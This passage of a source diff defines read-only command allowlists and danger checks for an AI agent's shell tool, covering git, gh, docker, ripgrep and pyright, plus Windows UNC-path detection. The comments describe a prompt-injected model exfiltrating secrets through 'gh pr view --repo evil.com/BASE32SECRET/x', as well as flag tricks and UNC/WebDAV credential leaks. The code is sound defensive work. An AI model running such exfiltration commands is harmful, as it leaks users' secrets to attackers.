+ if (token.includes('=')) {
740
+ i++;
741
+ }
742
+ else if (flagsWithArgs.has(token)) {
743
+ i += 2;
744
+ }
745
+ else {
746
+ i++;
747
+ }
748
+ }
749
+ else {
750
+ // Non-flag positional arg (or post-`--` positional). Safe only if
751
+ // preceded by -l/--list (then it's a pattern, not a tag name).
752
+ if (!seenListFlag) {
753
+ return true; // Positional arg without --list = tag creation
754
+ }
755
+ i++;
756
+ }
757
+ }
758
+ return false;
759
+ },
760
+ },
761
+ 'git branch': {
762
+ safeFlags: {
763
+ // List mode flags
764
+ '-l': 'none',
765
+ '--list': 'none',
766
+ '-a': 'none',
767
+ '--all': 'none',
768
+ '-r': 'none',
769
+ '--remotes': 'none',
770
+ '-v': 'none',
771
+ '-vv': 'none',
772
+ '--verbose': 'none',
773
+ // Display options
774
+ '--color': 'none',
775
+ '--no-color': 'none',
776
+ '--column': 'none',
777
+ '--no-column': 'none',
778
+ // SECURITY: --abbrev stays 'number' so validateFlags accepts --abbrev=N
779
+ // (attached form, safe). The DETACHED form `--abbrev N` is the bug:
780
+ // git uses PARSE_OPT_OPTARG (optional-attached only) — detached N becomes
781
+ // a POSITIONAL branch name, creating .git/refs/heads/N. validateFlags
782
+ // with 'number' consumes N, but the CALLBACK below catches it: --abbrev
783
+ // is NOT in callback's flagsWithArgs (removed), so callback sees N as a
784
+ // positional without list flag → dangerous. Two-layer defense: validate-
785
+ // Flags accepts both forms, callback blocks detached.
786
+ '--abbrev': 'number',
787
+ '--no-abbrev': 'none',
788
+ // Filtering - these take commit/ref arguments
789
+ '--contains': 'string',
790
+ '--no-contains': 'string',
791
+ '--merged': 'none', // Optional commit argument - handled in callback
792
+ '--no-merged': 'none', // Optional commit argument - handled in callback
793
+ '--points-at': 'string',
794
+ // Sorting
795
+ '--sort': 'string',
796
+ // Note: --format is intentionally excluded as it could pose security risks
797
+ // Show current
798
+ '--show-current': 'none',
799
+ '-i': 'none',
800
+ '--ignore-case': 'none',
801
+ },
802
+ // Block branch creation via positional arguments (e.g., "git branch newbranch")
803
+ // Flag validation is handled by safeFlags above
804
+ // args is tokens after "git branch"
805
+ additionalCommandIsDangerousCallback: (_rawCommand, args) => {
806
+ // Block branch creation: "git branch <name>" or "git branch <name> <start-point>"
807
+ // Only safe uses are: "git branch" (list), "git branch -flags" (list with options),
808
+ // or "git branch --contains/--merged/etc <ref>" (filtering)
809
+ // Flags that require an argument
810
+ const flagsWithArgs = new Set([
811
+ '--contains',
812
+ '--no-contains',
813
+ '--points-at',
814
+ '--sort',
815
+ // --abbrev REMOVED: git does NOT consume detached arg (PARSE_OPT_OPTARG)
816
+ ]);
817
+ // Flags with optional arguments (don't require, but can take one)
818
+ const flagsWithOptionalArgs = new Set(['--merged', '--no-merged']);
819
+ let i = 0;
820
+ let lastFlag = '';
821
+ let seenListFlag = false;
822
+ let seenDashDash = false;
823
+ while (i < args.length) {
824
+ const token = args[i];
825
+ if (!token) {
826
+ i++;
827
+ continue;
828
+ }
829
+ // `--` ends flag parsing. `git branch -- -l` CREATES a branch named `-l`.
830
+ if (token === '--' && !seenDashDash) {
831
+ seenDashDash = true;
832
+ lastFlag = '';
833
+ i++;
834
+ continue;
835
+ }
836
+ if (!seenDashDash && token.startsWith('-')) {
837
+ // Check for -l/--list including short-flag bundles (-li, -la, etc.)
838
+ if (token === '--list' || token === '-l') {
839
+ seenListFlag = true;
840
+ }
841
+ else if (token[0] === '-' &&
842
+ token[1] !== '-' &&
843
+ token.length > 2 &&
844
+ !token.includes('=') &&
845
+ token.slice(1).includes('l')) {
846
+ seenListFlag = true;
847
+ }
848
+ if (token.includes('=')) {
849
+ lastFlag = token.split('=')[0] || '';
850
+ i++;
851
+ }
852
+ else if (flagsWithArgs.has(token)) {
853
+ lastFlag = token;
854
+ i += 2;
855
+ }
856
+ else {
857
+ lastFlag = token;
858
+ i++;
859
+ }
860
+ }
861
+ else {
862
+ // Non-flag argument (or post-`--` positional) - could be:
863
+ // 1. A branch name (dangerous - creates a branch)
864
+ // 2. A pattern after --list/-l (safe)
865
+ // 3. An optional argument after --merged/--no-merged (safe)
866
+ const lastFlagHasOptionalArg = flagsWithOptionalArgs.has(lastFlag);
867
+ if (!seenListFlag && !lastFlagHasOptionalArg) {
868
+ return true; // Positional arg without --list or filtering flag = branch creation
869
+ }
870
+ i++;
871
+ }
872
+ }
873
+ return false;
874
+ },
875
+ },
876
+ };
877
+ // ---------------------------------------------------------------------------
878
+ // GH_READ_ONLY_COMMANDS — ant-only gh CLI commands (network-dependent)
879
+ // ---------------------------------------------------------------------------
880
+ // SECURITY: Shared callback for all gh commands to prevent network exfil.
881
+ // gh's repo argument accepts `[HOST/]OWNER/REPO` — when HOST is present
882
+ // (3 segments), gh connects to that host's API. A prompt-injected model can
883
+ // encode secrets as the OWNER segment and exfiltrate via DNS/HTTP:
884
+ // gh pr view 1 --repo evil.com/BASE32SECRET/x
885
+ // → GET https://evil.com/api/v3/repos/BASE32SECRET/x/pulls/1
886
+ // gh also accepts positional URLs: `gh pr view https://evil.com/owner/repo/pull/1`
887
+ //
888
+ // git ls-remote has an inline URL guard (readOnlyValidation.ts:~944); this
889
+ // callback provides the equivalent for gh. Rejects:
890
+ // - Any token with 2+ slashes (HOST/OWNER/REPO format — normal is OWNER/REPO)
891
+ // - Any token with `://` (URL)
892
+ // - Any token with `@` (SSH-style)
893
+ // This covers BOTH --repo values AND positional URL/repo arguments, INCLUDING
894
+ // the equals-attached form `--repo=HOST/OWNER/REPO` (cobra accepts both forms).
895
+ function ghIsDangerousCallback(_rawCommand, args) {
896
+ for (const token of args) {
897
+ if (!token)
898
+ continue;
899
+ // For flag tokens, extract the VALUE after `=` for inspection. Without this,
900
+ // `--repo=evil.com/SECRET/x` (single token starting with `-`) gets skipped
901
+ // entirely, bypassing the HOST check. Cobra treats `--flag=val` identically
902
+ // to `--flag val`; we must inspect both forms.
903
+ let value = token;
904
+ if (token.startsWith('-')) {
905
+ const eqIdx = token.indexOf('=');
906
+ if (eqIdx === -1)
907
+ continue; // flag without inline value, nothing to inspect
908
+ value = token.slice(eqIdx + 1);
909
+ if (!value)
910
+ continue;
911
+ }
912
+ // Skip values that are clearly not repo specs (no `/` at all, or pure numbers)
913
+ if (!value.includes('/') &&
914
+ !value.includes('://') &&
915
+ !value.includes('@')) {
916
+ continue;
917
+ }
918
+ // URL schemes: https://, http://, git://, ssh://
919
+ if (value.includes('://')) {
920
+ return true;
921
+ }
922
+ // SSH-style: git@host:owner/repo
923
+ if (value.includes('@')) {
924
+ return true;
925
+ }
926
+ // 3+ segments = HOST/OWNER/REPO (normal gh format is OWNER/REPO, 1 slash)
927
+ // Count slashes: 2+ slashes means 3+ segments
928
+ const slashCount = (value.match(/\//g) || []).length;
929
+ if (slashCount >= 2) {
930
+ return true;
931
+ }
932
+ }
933
+ return false;
934
+ }
935
+ export const GH_READ_ONLY_COMMANDS = {
936
+ // gh pr view is read-only — displays pull request details
937
+ 'gh pr view': {
938
+ safeFlags: {
939
+ '--json': 'string', // JSON field selection
940
+ '--comments': 'none', // Show comments
941
+ '--repo': 'string', // Target repository (OWNER/REPO)
942
+ '-R': 'string',
943
+ },
944
+ additionalCommandIsDangerousCallback: ghIsDangerousCallback,
945
+ },
946
+ // gh pr list is read-only — lists pull requests
947
+ 'gh pr list': {
948
+ safeFlags: {
949
+ '--state': 'string', // open, closed, merged, all
950
+ '-s': 'string',
951
+ '--author': 'string',
952
+ '--assignee': 'string',
953
+ '--label': 'string',
954
+ '--limit': 'number',
955
+ '-L': 'number',
956
+ '--base': 'string',
957
+ '--head': 'string',
958
+ '--search': 'string',
959
+ '--json': 'string',
960
+ '--draft': 'none',
961
+ '--app': 'string',
962
+ '--repo': 'string',
963
+ '-R': 'string',
964
+ },
965
+ additionalCommandIsDangerousCallback: ghIsDangerousCallback,
966
+ },
967
+ // gh pr diff is read-only — shows pull request diff
968
+ 'gh pr diff': {
969
+ safeFlags: {
970
+ '--color': 'string',
971
+ '--name-only': 'none',
972
+ '--patch': 'none',
973
+ '--repo': 'string',
974
+ '-R': 'string',
975
+ },
976
+ additionalCommandIsDangerousCallback: ghIsDangerousCallback,
977
+ },
978
+ // gh pr checks is read-only — shows CI status checks
979
+ 'gh pr checks': {
980
+ safeFlags: {
981
+ '--watch': 'none',
982
+ '--required': 'none',
983
+ '--fail-fast': 'none',
984
+ '--json': 'string',
985
+ '--interval': 'number',
986
+ '--repo': 'string',
987
+ '-R': 'string',
988
+ },
989
+ additionalCommandIsDangerousCallback: ghIsDangerousCallback,
990
+ },
991
+ // gh issue view is read-only — displays issue details
992
+ 'gh issue view': {
993
+ safeFlags: {
994
+ '--json': 'string',
995
+ '--comments': 'none',
996
+ '--repo': 'string',
997
+ '-R': 'string',
998
+ },
999
+ additionalCommandIsDangerousCallback: ghIsDangerousCallback,
1000
+ },
1001
+ // gh issue list is read-only — lists issues
1002
+ 'gh issue list': {
1003
+ safeFlags: {
1004
+ '--state': 'string',
1005
+ '-s': 'string',
1006
+ '--assignee': 'string',
1007
+ '--author': 'string',
1008
+ '--label': 'string',
1009
+ '--limit': 'number',
1010
+ '-L': 'number',
1011
+ '--milestone': 'string',
1012
+ '--search': 'string',
1013
+ '--json': 'string',
1014
+ '--app': 'string',
1015
+ '--repo': 'string',
1016
+ '-R': 'string',
1017
+ },
1018
+ additionalCommandIsDangerousCallback: ghIsDangerousCallback,
1019
+ },
1020
+ // gh repo view is read-only — displays repository details
1021
+ // NOTE: gh repo view uses a positional argument, not --repo/-R flags
1022
+ 'gh repo view': {
1023
+ safeFlags: {
1024
+ '--json': 'string',
1025
+ },
1026
+ additionalCommandIsDangerousCallback: ghIsDangerousCallback,
1027
+ },
1028
+ // gh run list is read-only — lists workflow runs
1029
+ 'gh run list': {
1030
+ safeFlags: {
1031
+ '--branch': 'string', // Filter by branch
1032
+ '-b': 'string',
1033
+ '--status': 'string', // Filter by status
1034
+ '-s': 'string',
1035
+ '--workflow': 'string', // Filter by workflow
1036
+ '-w': 'string', // NOTE: -w is --workflow here, NOT --web (gh run list has no --web)
1037
+ '--limit': 'number', // Max results
1038
+ '-L': 'number',
1039
+ '--json': 'string', // JSON field selection
1040
+ '--repo': 'string', // Target repository
1041
+ '-R': 'string',
1042
+ '--event': 'string', // Filter by event type
1043
+ '-e': 'string',
1044
+ '--user': 'string', // Filter by user
1045
+ '-u': 'string',
1046
+ '--created': 'string', // Filter by creation date
1047
+ '--commit': 'string', // Filter by commit SHA
1048
+ '-c': 'string',
1049
+ },
1050
+ additionalCommandIsDangerousCallback: ghIsDangerousCallback,
1051
+ },
1052
+ // gh run view is read-only — displays a workflow run's details
1053
+ 'gh run view': {
1054
+ safeFlags: {
1055
+ '--log': 'none', // Show full run log
1056
+ '--log-failed': 'none', // Show log for failed steps only
1057
+ '--exit-status': 'none', // Exit with run's status code
1058
+ '--verbose': 'none', // Show job steps
1059
+ '-v': 'none', // NOTE: -v is --verbose here, NOT --web
1060
+ '--json': 'string', // JSON field selection
1061
+ '--repo': 'string', // Target repository
1062
+ '-R': 'string',
1063
+ '--job': 'string', // View a specific job by ID
1064
+ '-j': 'string',
1065
+ '--attempt': 'number', // View a specific attempt
1066
+ '-a': 'number',
1067
+ },
1068
+ additionalCommandIsDangerousCallback: ghIsDangerousCallback,
1069
+ },
1070
+ // gh auth status is read-only — displays authentication state
1071
+ // NOTE: --show-token/-t intentionally excluded (leaks secrets)
1072
+ 'gh auth status': {
1073
+ safeFlags: {
1074
+ '--active': 'none', // Display active account only
1075
+ '-a': 'none',
1076
+ '--hostname': 'string', // Check specific hostname
1077
+ '-h': 'string',
1078
+ '--json': 'string', // JSON field selection
1079
+ },
1080
+ additionalCommandIsDangerousCallback: ghIsDangerousCallback,
1081
+ },
1082
+ // gh pr status is read-only — shows your PRs
1083
+ 'gh pr status': {
1084
+ safeFlags: {
1085
+ '--conflict-status': 'none', // Display merge conflict status
1086
+ '-c': 'none',
1087
+ '--json': 'string', // JSON field selection
1088
+ '--repo': 'string', // Target repository
1089
+ '-R': 'string',
1090
+ },
1091
+ additionalCommandIsDangerousCallback: ghIsDangerousCallback,
1092
+ },
1093
+ // gh issue status is read-only — shows your issues
1094
+ 'gh issue status': {
1095
+ safeFlags: {
1096
+ '--json': 'string', // JSON field selection
1097
+ '--repo': 'string', // Target repository
1098
+ '-R': 'string',
1099
+ },
1100
+ additionalCommandIsDangerousCallback: ghIsDangerousCallback,
1101
+ },
1102
+ // gh release list is read-only — lists releases
1103
+ 'gh release list': {
1104
+ safeFlags: {
1105
+ '--exclude-drafts': 'none', // Exclude draft releases
1106
+ '--exclude-pre-releases': 'none', // Exclude pre-releases
1107
+ '--json': 'string', // JSON field selection
1108
+ '--limit': 'number', // Max results
1109
+ '-L': 'number',
1110
+ '--order': 'string', // Order: asc|desc
1111
+ '-O': 'string',
1112
+ '--repo': 'string', // Target repository
1113
+ '-R': 'string',
1114
+ },
1115
+ additionalCommandIsDangerousCallback: ghIsDangerousCallback,
1116
+ },
1117
+ // gh release view is read-only — displays release details
1118
+ // NOTE: --web/-w intentionally excluded (opens browser)
1119
+ 'gh release view': {
1120
+ safeFlags: {
1121
+ '--json': 'string', // JSON field selection
1122
+ '--repo': 'string', // Target repository
1123
+ '-R': 'string',
1124
+ },
1125
+ additionalCommandIsDangerousCallback: ghIsDangerousCallback,
1126
+ },
1127
+ // gh workflow list is read-only — lists workflow files
1128
+ 'gh workflow list': {
1129
+ safeFlags: {
1130
+ '--all': 'none', // Include disabled workflows
1131
+ '-a': 'none',
1132
+ '--json': 'string', // JSON field selection
1133
+ '--limit': 'number', // Max results
1134
+ '-L': 'number',
1135
+ '--repo': 'string', // Target repository
1136
+ '-R': 'string',
1137
+ },
1138
+ additionalCommandIsDangerousCallback: ghIsDangerousCallback,
1139
+ },
1140
+ // gh workflow view is read-only — displays workflow summary
1141
+ // NOTE: --web/-w intentionally excluded (opens browser)
1142
+ 'gh workflow view': {
1143
+ safeFlags: {
1144
+ '--ref': 'string', // Branch/tag with workflow version
1145
+ '-r': 'string',
1146
+ '--yaml': 'none', // View workflow yaml
1147
+ '-y': 'none',
1148
+ '--repo': 'string', // Target repository
1149
+ '-R': 'string',
1150
+ },
1151
+ additionalCommandIsDangerousCallback: ghIsDangerousCallback,
1152
+ },
1153
+ // gh label list is read-only — lists labels
1154
+ // NOTE: --web/-w intentionally excluded (opens browser)
1155
+ 'gh label list': {
1156
+ safeFlags: {
1157
+ '--json': 'string', // JSON field selection
1158
+ '--limit': 'number', // Max results
1159
+ '-L': 'number',
1160
+ '--order': 'string', // Order: asc|desc
1161
+ '--search': 'string', // Search label names
1162
+ '-S': 'string',
1163
+ '--sort': 'string', // Sort: created|name
1164
+ '--repo': 'string', // Target repository
1165
+ '-R': 'string',
1166
+ },
1167
+ additionalCommandIsDangerousCallback: ghIsDangerousCallback,
1168
+ },
1169
+ // gh search repos is read-only — searches repositories
1170
+ // NOTE: --web/-w intentionally excluded (opens browser)
1171
+ 'gh search repos': {
1172
+ safeFlags: {
1173
+ '--archived': 'none', // Filter by archived state
1174
+ '--created': 'string', // Filter by creation date
1175
+ '--followers': 'string', // Filter by followers count
1176
+ '--forks': 'string', // Filter by forks count
1177
+ '--good-first-issues': 'string', // Filter by good first issues
1178
+ '--help-wanted-issues': 'string', // Filter by help wanted issues
1179
+ '--include-forks': 'string', // Include forks: false|true|only
1180
+ '--json': 'string', // JSON field selection
1181
+ '--language': 'string', // Filter by language
1182
+ '--license': 'string', // Filter by license
1183
+ '--limit': 'number', // Max results
1184
+ '-L': 'number',
1185
+ '--match': 'string', // Restrict to field: name|description|readme
1186
+ '--number-topics': 'string', // Filter by number of topics
1187
+ '--order': 'string', // Order: asc|desc
1188
+ '--owner': 'string', // Filter by owner
1189
+ '--size': 'string', // Filter by size range
1190
+ '--sort': 'string', // Sort: forks|help-wanted-issues|stars|updated
1191
+ '--stars': 'string', // Filter by stars
1192
+ '--topic': 'string', // Filter by topic
1193
+ '--updated': 'string', // Filter by update date
1194
+ '--visibility': 'string', // Filter: public|private|internal
1195
+ },
1196
+ },
1197
+ // gh search issues is read-only — searches issues
1198
+ // NOTE: --web/-w intentionally excluded (opens browser)
1199
+ 'gh search issues': {
1200
+ safeFlags: {
1201
+ '--app': 'string', // Filter by GitHub App author
1202
+ '--assignee': 'string', // Filter by assignee
1203
+ '--author': 'string', // Filter by author
1204
+ '--closed': 'string', // Filter by closed date
1205
+ '--commenter': 'string', // Filter by commenter
1206
+ '--comments': 'string', // Filter by comment count
1207
+ '--created': 'string', // Filter by creation date
1208
+ '--include-prs': 'none', // Include PRs in results
1209
+ '--interactions': 'string', // Filter by interactions count
1210
+ '--involves': 'string', // Filter by involvement
1211
+ '--json': 'string', // JSON field selection
1212
+ '--label': 'string', // Filter by label
1213
+ '--language': 'string', // Filter by language
1214
+ '--limit': 'number', // Max results
1215
+ '-L': 'number',
1216
+ '--locked': 'none', // Filter locked conversations
1217
+ '--match': 'string', // Restrict to field: title|body|comments
1218
+ '--mentions': 'string', // Filter by user mentions
1219
+ '--milestone': 'string', // Filter by milestone
1220
+ '--no-assignee': 'none', // Filter missing assignee
1221
+ '--no-label': 'none', // Filter missing label
1222
+ '--no-milestone': 'none', // Filter missing milestone
1223
+ '--no-project': 'none', // Filter missing project
1224
+ '--order': 'string', // Order: asc|desc
1225
+ '--owner': 'string', // Filter by owner
1226
+ '--project': 'string', // Filter by project
1227
+ '--reactions': 'string', // Filter by reaction count
1228
+ '--repo': 'string', // Filter by repository
1229
+ '-R': 'string',
1230
+ '--sort': 'string', // Sort field
1231
+ '--state': 'string', // Filter: open|closed
1232
+ '--team-mentions': 'string', // Filter by team mentions
1233
+ '--updated': 'string', // Filter by update date
1234
+ '--visibility': 'string', // Filter: public|private|internal
1235
+ },
1236
+ },
1237
+ // gh search prs is read-only — searches pull requests
1238
+ // NOTE: --web/-w intentionally excluded (opens browser)
1239
+ 'gh search prs': {
1240
+ safeFlags: {
1241
+ '--app': 'string', // Filter by GitHub App author
1242
+ '--assignee': 'string', // Filter by assignee
1243
+ '--author': 'string', // Filter by author
1244
+ '--base': 'string', // Filter by base branch
1245
+ '-B': 'string',
1246
+ '--checks': 'string', // Filter by check status
1247
+ '--closed': 'string', // Filter by closed date
1248
+ '--commenter': 'string', // Filter by commenter
1249
+ '--comments': 'string', // Filter by comment count
1250
+ '--created': 'string', // Filter by creation date
1251
+ '--draft': 'none', // Filter draft PRs
1252
+ '--head': 'string', // Filter by head branch
1253
+ '-H': 'string',
1254
+ '--interactions': 'string', // Filter by interactions count
1255
+ '--involves': 'string', // Filter by involvement
1256
+ '--json': 'string', // JSON field selection
1257
+ '--label': 'string', // Filter by label
1258
+ '--language': 'string', // Filter by language
1259
+ '--limit': 'number', // Max results
1260
+ '-L': 'number',
1261
+ '--locked': 'none', // Filter locked conversations
1262
+ '--match': 'string', // Restrict to field: title|body|comments
1263
+ '--mentions': 'string', // Filter by user mentions
1264
+ '--merged': 'none', // Filter merged PRs
1265
+ '--merged-at': 'string', // Filter by merge date
1266
+ '--milestone': 'string', // Filter by milestone
1267
+ '--no-assignee': 'none', // Filter missing assignee
1268
+ '--no-label': 'none', // Filter missing label
1269
+ '--no-milestone': 'none', // Filter missing milestone
1270
+ '--no-project': 'none', // Filter missing project
1271
+ '--order': 'string', // Order: asc|desc
1272
+ '--owner': 'string', // Filter by owner
1273
+ '--project': 'string', // Filter by project
1274
+ '--reactions': 'string', // Filter by reaction count
1275
+ '--repo': 'string', // Filter by repository
1276
+ '-R': 'string',
1277
+ '--review': 'string', // Filter by review status
1278
+ '--review-requested': 'string', // Filter by review requested
1279
+ '--reviewed-by': 'string', // Filter by reviewer
1280
+ '--sort': 'string', // Sort field
1281
+ '--state': 'string', // Filter: open|closed
1282
+ '--team-mentions': 'string', // Filter by team mentions
1283
+ '--updated': 'string', // Filter by update date
1284
+ '--visibility': 'string', // Filter: public|private|internal
1285
+ },
1286
+ },
1287
+ // gh search commits is read-only — searches commits
1288
+ // NOTE: --web/-w intentionally excluded (opens browser)
1289
+ 'gh search commits': {
1290
+ safeFlags: {
1291
+ '--author': 'string', // Filter by author
1292
+ '--author-date': 'string', // Filter by authored date
1293
+ '--author-email': 'string', // Filter by author email
1294
+ '--author-name': 'string', // Filter by author name
1295
+ '--committer': 'string', // Filter by committer
1296
+ '--committer-date': 'string', // Filter by committed date
1297
+ '--committer-email': 'string', // Filter by committer email
1298
+ '--committer-name': 'string', // Filter by committer name
1299
+ '--hash': 'string', // Filter by commit hash
1300
+ '--json': 'string', // JSON field selection
1301
+ '--limit': 'number', // Max results
1302
+ '-L': 'number',
1303
+ '--merge': 'none', // Filter merge commits
1304
+ '--order': 'string', // Order: asc|desc
1305
+ '--owner': 'string', // Filter by owner
1306
+ '--parent': 'string', // Filter by parent hash
1307
+ '--repo': 'string', // Filter by repository
1308
+ '-R': 'string',
1309
+ '--sort': 'string', // Sort: author-date|committer-date
1310
+ '--tree': 'string', // Filter by tree hash
1311
+ '--visibility': 'string', // Filter: public|private|internal
1312
+ },
1313
+ },
1314
+ // gh search code is read-only — searches code
1315
+ // NOTE: --web/-w intentionally excluded (opens browser)
1316
+ 'gh search code': {
1317
+ safeFlags: {
1318
+ '--extension': 'string', // Filter by file extension
1319
+ '--filename': 'string', // Filter by filename
1320
+ '--json': 'string', // JSON field selection
1321
+ '--language': 'string', // Filter by language
1322
+ '--limit': 'number', // Max results
1323
+ '-L': 'number',
1324
+ '--match': 'string', // Restrict to: file|path
1325
+ '--owner': 'string', // Filter by owner
1326
+ '--repo': 'string', // Filter by repository
1327
+ '-R': 'string',
1328
+ '--size': 'string', // Filter by size range
1329
+ },
1330
+ },
1331
+ };
1332
+ // ---------------------------------------------------------------------------
1333
+ // DOCKER_READ_ONLY_COMMANDS — docker inspect/logs read-only commands
1334
+ // ---------------------------------------------------------------------------
1335
+ export const DOCKER_READ_ONLY_COMMANDS = {
1336
+ 'docker logs': {
1337
+ safeFlags: {
1338
+ '--follow': 'none',
1339
+ '-f': 'none',
1340
+ '--tail': 'string',
1341
+ '-n': 'string',
1342
+ '--timestamps': 'none',
1343
+ '-t': 'none',
1344
+ '--since': 'string',
1345
+ '--until': 'string',
1346
+ '--details': 'none',
1347
+ },
1348
+ },
1349
+ 'docker inspect': {
1350
+ safeFlags: {
1351
+ '--format': 'string',
1352
+ '-f': 'string',
1353
+ '--type': 'string',
1354
+ '--size': 'none',
1355
+ '-s': 'none',
1356
+ },
1357
+ },
1358
+ };
1359
+ // ---------------------------------------------------------------------------
1360
+ // RIPGREP_READ_ONLY_COMMANDS — rg (ripgrep) read-only search
1361
+ // ---------------------------------------------------------------------------
1362
+ export const RIPGREP_READ_ONLY_COMMANDS = {
1363
+ rg: {
1364
+ safeFlags: {
1365
+ // Pattern flags
1366
+ '-e': 'string', // Pattern to search for
1367
+ '--regexp': 'string',
1368
+ '-f': 'string', // Read patterns from file
1369
+ // Common search options
1370
+ '-i': 'none', // Case insensitive
1371
+ '--ignore-case': 'none',
1372
+ '-S': 'none', // Smart case
1373
+ '--smart-case': 'none',
1374
+ '-F': 'none', // Fixed strings
1375
+ '--fixed-strings': 'none',
1376
+ '-w': 'none', // Word regexp
1377
+ '--word-regexp': 'none',
1378
+ '-v': 'none', // Invert match
1379
+ '--invert-match': 'none',
1380
+ // Output options
1381
+ '-c': 'none', // Count matches
1382
+ '--count': 'none',
1383
+ '-l': 'none', // Files with matches
1384
+ '--files-with-matches': 'none',
1385
+ '--files-without-match': 'none',
1386
+ '-n': 'none', // Line number
1387
+ '--line-number': 'none',
1388
+ '-o': 'none', // Only matching
1389
+ '--only-matching': 'none',
1390
+ '-A': 'number', // After context
1391
+ '--after-context': 'number',
1392
+ '-B': 'number', // Before context
1393
+ '--before-context': 'number',
1394
+ '-C': 'number', // Context
1395
+ '--context': 'number',
1396
+ '-H': 'none', // With filename
1397
+ '-h': 'none', // No filename
1398
+ '--heading': 'none',
1399
+ '--no-heading': 'none',
1400
+ '-q': 'none', // Quiet
1401
+ '--quiet': 'none',
1402
+ '--column': 'none',
1403
+ // File filtering
1404
+ '-g': 'string', // Glob
1405
+ '--glob': 'string',
1406
+ '-t': 'string', // Type
1407
+ '--type': 'string',
1408
+ '-T': 'string', // Type not
1409
+ '--type-not': 'string',
1410
+ '--type-list': 'none',
1411
+ '--hidden': 'none',
1412
+ '--no-ignore': 'none',
1413
+ '-u': 'none', // Unrestricted
1414
+ // Common options
1415
+ '-m': 'number', // Max count per file
1416
+ '--max-count': 'number',
1417
+ '-d': 'number', // Max depth
1418
+ '--max-depth': 'number',
1419
+ '-a': 'none', // Text (search binary files)
1420
+ '--text': 'none',
1421
+ '-z': 'none', // Search zip
1422
+ '-L': 'none', // Follow symlinks
1423
+ '--follow': 'none',
1424
+ // Display options
1425
+ '--color': 'string',
1426
+ '--json': 'none',
1427
+ '--stats': 'none',
1428
+ // Help and version
1429
+ '--help': 'none',
1430
+ '--version': 'none',
1431
+ '--debug': 'none',
1432
+ // Special argument separator
1433
+ '--': 'none',
1434
+ },
1435
+ },
1436
+ };
1437
+ // ---------------------------------------------------------------------------
1438
+ // PYRIGHT_READ_ONLY_COMMANDS — pyright static type checker
1439
+ // ---------------------------------------------------------------------------
1440
+ export const PYRIGHT_READ_ONLY_COMMANDS = {
1441
+ pyright: {
1442
+ respectsDoubleDash: false, // pyright treats -- as a file path, not end-of-options
1443
+ safeFlags: {
1444
+ '--outputjson': 'none',
1445
+ '--project': 'string',
1446
+ '-p': 'string',
1447
+ '--pythonversion': 'string',
1448
+ '--pythonplatform': 'string',
1449
+ '--typeshedpath': 'string',
1450
+ '--venvpath': 'string',
1451
+ '--level': 'string',
1452
+ '--stats': 'none',
1453
+ '--verbose': 'none',
1454
+ '--version': 'none',
1455
+ '--dependencies': 'none',
1456
+ '--warnings': 'none',
1457
+ },
1458
+ additionalCommandIsDangerousCallback: (_rawCommand, args) => {
1459
+ // Check if --watch or -w appears as a standalone token (flag)
1460
+ return args.some(t => t === '--watch' || t === '-w');
1461
+ },
1462
+ },
1463
+ };
1464
+ // ---------------------------------------------------------------------------
1465
+ // EXTERNAL_READONLY_COMMANDS — cross-shell read-only commands
1466
+ // Only commands that work identically in bash and PowerShell on Windows.
1467
+ // Unix-specific commands (cat, head, wc, etc.) belong in BashTool's READONLY_COMMANDS.
1468
+ // ---------------------------------------------------------------------------
1469
+ export const EXTERNAL_READONLY_COMMANDS = [
1470
+ // Cross-platform external tools that work the same in bash and PowerShell on Windows
1471
+ 'docker ps',
1472
+ 'docker images',
1473
+ ];
1474
+ // ---------------------------------------------------------------------------
1475
+ // UNC path detection (shared across Bash and PowerShell)
1476
+ // ---------------------------------------------------------------------------
1477
+ /**
1478
+ * Check if a path or command contains a UNC path that could trigger network
1479
+ * requests (NTLM/Kerberos credential leakage, WebDAV attacks).
1480
+ *
1481
+ * This function detects:
1482
+ * - Basic UNC paths: \\server\share, \\foo.com\file
1483
+ * - WebDAV patterns: \\server@SSL@8443\, \\server@8443@SSL\, \\server\DavWWWRoot\
1484
+ * - IP-based UNC: \\192.168.1.1\share, \\[2001:db8::1]\share
1485
+ * - Forward-slash variants: //server/share
1486
+ *
1487
+ * @param pathOrCommand The path or command string to check
1488
+ * @returns true if the path/command contains potentially vulnerable UNC paths
1489
+ */
1490
+ export function containsVulnerableUncPath(pathOrCommand) {
1491
+ // Only check on Windows platform
1492
+ if (getPlatform() !== 'windows') {
1493
+ return false;
1494
+ }
1495
+ // 1. Check for general UNC paths with backslashes
1496
+ // Pattern matches: \\server, \\server\share, \\server/share, \\server@port\share
1497
+ // Uses [^\s\\/]+ for hostname to catch Unicode homoglyphs and other non-ASCII chars
1498
+ // Trailing accepts both \ and / since Windows treats both as path separators
1499
+ const backslashUncPattern = /\\\\[^\s\\/]+(?:@(?:\d+|ssl))?(?:[\\/]|$|\s)/i;
1500
+ if (backslashUncPattern.test(pathOrCommand)) {
1501
+ return true;
1502
+ }
1503
+ // 2. Check for forward-slash UNC paths
1504
+ // Pattern matches: //server, //server/share, //server\share, //192.168.1.1/share
1505
+ // Uses negative lookbehind (?<!:) to exclude URLs (https://, http://, ftp://)
1506
+ // while catching // preceded by quotes, =, or any other non-colon character.
1507
+ // Trailing accepts both / and \ since Windows treats both as path separators
1508
+ const forwardSlashUncPattern =
1509
+ // eslint-disable-next-line custom-rules/no-lookbehind-regex -- .test() on short command strings
1510
+ /(?<!:)\/\/[^\s\\/]+(?:@(?:\d+|ssl))?(?:[\\/]|$|\s)/i;
1511
+ if (forwardSlashUncPattern.test(pathOrCommand)) {
1512
+ return true;
1513
+ }
1514
+ // 3. Check for mixed-separator UNC paths (forward slash + backslashes)
1515
+ // On Windows/Cygwin, /\ is equivalent to // since both are path separators.
1516
+ // In bash, /\\server becomes /\server after escape processing, which is a UNC path.
1517
+ // Requires 2+ backslashes after / because a single backslash just escapes the next char
1518
+ // (e.g., /\a → /a after bash processing, which is NOT a UNC path).
1519
+ const mixedSlashUncPattern = /\/\\{2,}[^\s\\/]/;
1520
+ if (mixedSlashUncPattern.test(pathOrCommand)) {
1521
+ return true;
1522
+ }
1523
+ // 4. Check for mixed-separator UNC paths (backslashes + forward slash)
1524
+ // \\/server in bash becomes \/server after escape processing, which is a UNC path
1525
+ // on Windows since both \ and / are path separators.
1526
+ const reverseMixedSlashUncPattern = /\\{2,}\/[^\s\\/]/;
1527
+ if (reverseMixedSlashUncPattern.test(pathOrCommand)) {
1528
+ return true;
1529
+ }
1530
+ // 5. Check for WebDAV SSL/port patterns
1531
+ // Examples: \\server@SSL@8443\path, \\server@8443@SSL\path
1532
